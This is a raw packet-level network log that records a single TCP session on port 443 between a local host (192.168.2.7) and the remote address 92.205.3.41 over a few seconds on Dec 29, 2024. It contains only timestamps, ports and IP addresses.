Dec 29, 2024 08:55:54.672749043 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.675571918 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.675651073 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.678320885 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.678390026 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.834109068 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.834240913 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.836447954 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.836536884 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.839329004 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.839421034 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.842081070 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.842163086 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.845688105 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.845763922 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.848563910 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.848634958 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.851334095 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.851428986 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.854926109 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.855014086 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.857686996 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.857772112 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.860604048 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.860680103 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.863739967 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.863815069 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.866542101 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.866617918 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.869379044 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.869456053 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.872982025 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.873095036 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.875861883 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.875948906 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.878657103 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.878731966 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.882277012 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.882354021 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.036878109 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.036959887 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.039737940 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.039815903 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.042572975 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.042644024 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.046452045 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.046540022 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.048883915 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.048980951 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.051779032 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.051856995 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.056818008 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.056885004 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.058128119 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.058187962 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.061167955 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.061233044 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.064969063 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.065037966 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.067820072 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.067894936 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.070291042 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.070395947 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.073757887 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.073851109 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.076159000 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.076246023 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.079042912 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.079116106 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.082636118 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.082705021 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.236964941 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.237104893 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.239856005 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.239929914 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.242629051 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.242703915 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.246203899 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.246273041 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.248970985 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.249242067 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.251807928 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.251884937 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.254667044 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.254745007 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.258241892 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.258316040 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.261137009 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.261221886 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.263911963 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.263988972 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.267126083 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.267194986 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.269926071 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.269996881 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.273525000 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.273590088 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.276294947 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.276364088 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.279150963 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.279231071 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.281955957 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.282027006 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.437761068 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.437840939 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.440114975 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.440192938 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.442869902 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.442953110 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.446474075 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.446543932 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.449254036 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.449333906 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.452200890 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.452280998 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.454890966 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.454957962 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.458517075 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.458585024 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.461318016 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.461554050 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.464478016 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.464555025 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.467374086 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.467442989 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.470184088 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.470252991 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.473845005 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.473908901 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.476629972 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.476686954 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.479450941 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.479520082 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.482189894 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.482505083 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.485816956 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.485883951 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.640433073 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.640691996 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.643253088 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.643326044 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.646042109 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.646107912 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.649594069 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.649666071 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.652556896 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.652620077 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.655328035 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.655420065 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.658956051 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.659019947 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.661633968 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.661727905 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.664572954 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.664659977 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.667299032 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.667387009 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.670528889 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.670613050 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.674143076 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.674230099 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.676913023 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.677000999 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.679826021 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.679903030 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.682636023 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.682724953 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.686176062 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.686249018 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.840586901 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.840677023 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.844206095 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.844286919 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.846956968 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.847033024 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.849852085 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.849922895 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.852595091 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.852669954 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.856390953 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.856483936 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.858989000 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.859065056 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.861936092 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.862018108 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.865473032 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.865561962 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.868263006 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.868349075 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.871500015 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.871577978 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.874273062 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.874342918 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.877120972 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.877192020 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.879910946 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.879977942 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.883519888 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.883588076 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:55.886298895 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:55.886369944 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.041627884 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.041708946 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.044038057 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.044107914 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.046736002 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.046801090 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.050292015 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.050358057 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.053064108 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.053133965 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.055917978 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.056082010 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.059278965 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.059340954 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.062295914 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.062356949 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.065201998 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.065270901 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.067969084 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.068033934 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.071252108 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.071316957 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.073985100 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.074054003 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.077586889 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.077666998 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.080362082 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.080429077 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.083281040 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.083345890 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.086803913 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.086872101 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.089576006 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.089636087 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.244276047 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.244363070 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.247138977 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.247215986 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.249963999 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.250044107 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.253499031 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.253566980 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.256268024 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.256356955 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.259241104 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.259488106 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.262814045 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.262878895 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.265528917 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.265595913 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.268403053 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.268467903 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.271574020 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.271642923 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.274477005 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.274539948 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.277189970 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.277255058 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.280811071 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.281173944 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.283610106 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.283674955 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.286465883 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.286529064 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.290055037 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.290119886 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.444484949 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.444576979 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.447356939 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.447432995 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.450958014 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.451029062 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.453748941 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.453813076 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.456666946 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.456733942 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.459386110 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.459451914 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.462954044 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.463011980 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.465743065 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.465807915 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.468601942 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.468664885 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.471388102 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.471450090 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.474680901 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.474746943 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.478279114 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.478341103 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.481184006 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.481246948 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.484076977 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.484154940 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.486716986 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.486782074 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.490274906 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.490340948 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.645226002 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.645411968 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.647586107 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.647655010 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.650347948 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.650413990 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.653945923 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.654031992 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.656943083 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.657020092 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.659629107 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.659698963 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.663229942 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.663309097 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.665957928 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.666026115 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.668873072 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.668942928 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.671641111 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.671709061 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.674855947 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.674926043 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.677639961 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.677711964 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.681232929 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.681296110 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.684139013 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.684201956 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.686927080 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.687004089 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.690572023 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.690638065 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.693269014 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.693341970 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.848073006 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.848151922 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.851402998 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.851468086 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.854480982 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:56.854537964 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:56.857002020 CET	443	49707	92.205.3.41	192.168.2.7
